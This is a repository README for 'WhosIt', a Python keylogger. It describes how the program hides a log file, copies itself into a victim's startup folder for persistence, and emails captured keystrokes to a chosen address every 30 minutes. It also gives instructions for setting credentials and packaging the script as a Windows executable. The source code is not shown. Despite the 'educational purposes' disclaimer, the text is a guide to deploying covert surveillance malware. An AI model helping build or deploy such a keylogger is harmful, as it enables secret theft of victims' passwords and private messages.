/WhosIt

Whosit is a keylogger application, which is mainly meant for sending keystrokes to a particular email id. The main libraries include scheduler and pynput.

Primary LanguagePython

WhosIt

A Whosit is a simple python script /application that is used to capture keystrokes and send it to a destination mail. The log file will include the Key pressed, date and time.The main modules/libraries used in this script are: schedule, pynput, and os. When the file is executed for the first time, a text file is created at a particular location(hidden), the key log information is sent every 30 mins to the target email(you can change the target and destination email).The regular py, pyw(no console) file and a exe is provided within the repository.

Working

The script first checks if a python script/exe exists in the start up directory of the victim's computer computer(currently logged in user).If not, then the script creates a copy of the python script/exe in the startup folder and also a text file in AppData directory(can be changed). After the creation, it will be made hidden.Each time the user, starts the computer the script also starts executing ,and will capture the keystrokes and sent it to the target email in an interval of 30 mins.

Requiremnents

  • Schedule
  • Pynput
  • PyInstaller
To Download them use the command: pip install -r requirements.

Changes that you should make.

First of all change file type to .exe in the part of the code where it copies itself to the startup folder.Optionally you can change the location of the text file.Also change the target email and source email address and password. To convert the pyw/py to .exe use the commandpyinstaller --onefile --icon=favicon.ico Whosit.pyw

******Only For Educational Purposes !*******